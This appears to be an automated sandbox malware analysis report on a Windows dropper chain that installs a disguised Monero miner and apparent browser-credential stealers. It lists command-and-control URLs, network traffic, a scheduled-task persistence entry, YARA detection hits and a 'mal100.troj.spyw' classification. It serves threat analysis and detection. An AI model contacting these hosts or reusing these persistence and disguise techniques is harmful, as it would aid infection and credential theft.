Source: d2cb36d600.exe, 0000000B.00000002.2377190667.00000000013AB000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/xe
Source: d2cb36d600.exe, 0000000B.00000003.2190380016.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375048066.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2376937453.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2270396851.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292678383.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2354295558.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: d2cb36d600.exe, 0000000B.00000003.2375048066.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2376937453.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292678383.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2354295558.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/apicrosoft
Source: skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 9f237e29d5.exe, 0000002F.00000003.2515345361.0000000003CB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 9f237e29d5.exe, 0000002F.00000003.2515345361.0000000003CB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 9f237e29d5.exe, 0000002F.00000003.2466238120.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat:443/api
Source: d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: d2cb36d600.exe, 0000000B.00000003.2240497963.0000000003B6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 9f237e29d5.exe, 0000002F.00000003.2515345361.0000000003CB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: 9f237e29d5.exe, 0000002F.00000003.2515345361.0000000003CB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: 9f237e29d5.exe, 0000002F.00000003.2515345361.0000000003CB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: d2cb36d600.exe, 0000000B.00000003.2240844210.0000000003D89000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2515345361.0000000003CB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.2341537822.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.2341537822.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.2341537822.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.8:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.8:49737 version: TLS 1.2

Source: 80f68847d3.exe, 00000023.00000003.2358425905.00000000055A0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_88145586-e

Source: 80f68847d3.exe, 00000023.00000003.2358425905.00000000055A0000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_b91e6847-8

Source: Yara match	File source: 35.3.80f68847d3.exe.57c0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.3.svchost.exe.5010000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.80f68847d3.exe.55a0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.3.svchost.exe.4df0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000003.2358425905.00000000055A0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.2363157225.0000000004DF0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2358664230.00000000057C0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.2363376254.0000000005010000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 80f68847d3.exe PID: 7252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7564, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 37.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 37.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen

Drops password protected ZIP file

Source: file.bin.12.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 80f68847d3.exe.6.dr	Static PE information: section name:
Source: 80f68847d3.exe.6.dr	Static PE information: section name: .idata
Source: 80f68847d3.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0061CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_0061CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D78BB	0_2_008D78BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D7049	0_2_008D7049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D8860	0_2_008D8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D31A8	0_2_008D31A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00894B30	0_2_00894B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00894DE0	0_2_00894DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D2D10	0_2_008D2D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008D779B	0_2_008D779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C7F36	0_2_008C7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00648860	2_2_00648860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00647049	2_2_00647049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006478BB	2_2_006478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006431A8	2_2_006431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00604B30	2_2_00604B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00642D10	2_2_00642D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00604DE0	2_2_00604DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00637F36	2_2_00637F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0064779B	2_2_0064779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0060E530	6_2_0060E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00626192	6_2_00626192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00648860	6_2_00648860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00604B30	6_2_00604B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00642D10	6_2_00642D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00604DE0	6_2_00604DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00620E13	6_2_00620E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00647049	6_2_00647049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_006431A8	6_2_006431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00621602	6_2_00621602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0064779B	6_2_0064779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_006478BB	6_2_006478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00623DF1	6_2_00623DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00637F36	6_2_00637F36
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_00921000	8_2_00921000
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_00924C8C	8_2_00924C8C
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 8_2_00936F3A	8_2_00936F3A
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_00921000	10_2_00921000
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_00924C8C	10_2_00924C8C
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 10_2_00936F3A	10_2_00936F3A
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013BEB69	11_3_013BEB69
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_013B97FD	11_3_013B97FD
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01350C84	11_3_01350C84
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01350C84	11_3_01350C84
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01350BF8	11_3_01350BF8
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01350BF8	11_3_01350BF8
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01350C84	11_3_01350C84
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01350C84	11_3_01350C84
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01350BF8	11_3_01350BF8
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: 11_3_01350BF8	11_3_01350BF8

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe 3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00638E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0061DF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0061D663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0061D942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 006180C0 appears 262 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0061D64E appears 67 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00617A00 appears 38 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 008A80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: String function: 0092B767 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: String function: 00925190 appears 92 times
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: String function: 0092F534 appears 34 times

Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7252 -s 640

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 37.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 37.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 36.3.Intel_PTT_EK_Recertification.exe.1ab56c60000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981320248637602
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981320248637602
Source: random[2].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[2].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 9f237e29d5.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 9f237e29d5.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: d2cb36d600.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: d2cb36d600.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe1.6.dr	Static PE information: Section: ZLIB complexity 0.9958811404520295
Source: random[1].exe1.6.dr	Static PE information: Section: kucwzsnp ZLIB complexity 0.9928972469567178
Source: 80f68847d3.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9958811404520295
Source: 80f68847d3.exe.6.dr	Static PE information: Section: kucwzsnp ZLIB complexity 0.9928972469567178

Source: 80f68847d3.exe, 00000023.00000003.2339759920.0000000004F38000.00000004.00001000.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000002.2383285856.00000000008C9000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: svchost.exe, 00000029.00000002.2372633132.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: .VbP)U
Source: 80f68847d3.exe, 00000023.00000003.2339759920.0000000004F38000.00000004.00001000.00020000.00000000.sdmp, 80f68847d3.exe, 00000023.00000002.2383285856.00000000008C9000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@72/40@3/6

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3504:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8036:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3700:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7892:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: d2cb36d600.exe, 0000000B.00000003.2191915109.0000000003A6A000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191489535.0000000003A86000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2468094170.0000000003999000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2490342785.0000000003993000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 55%

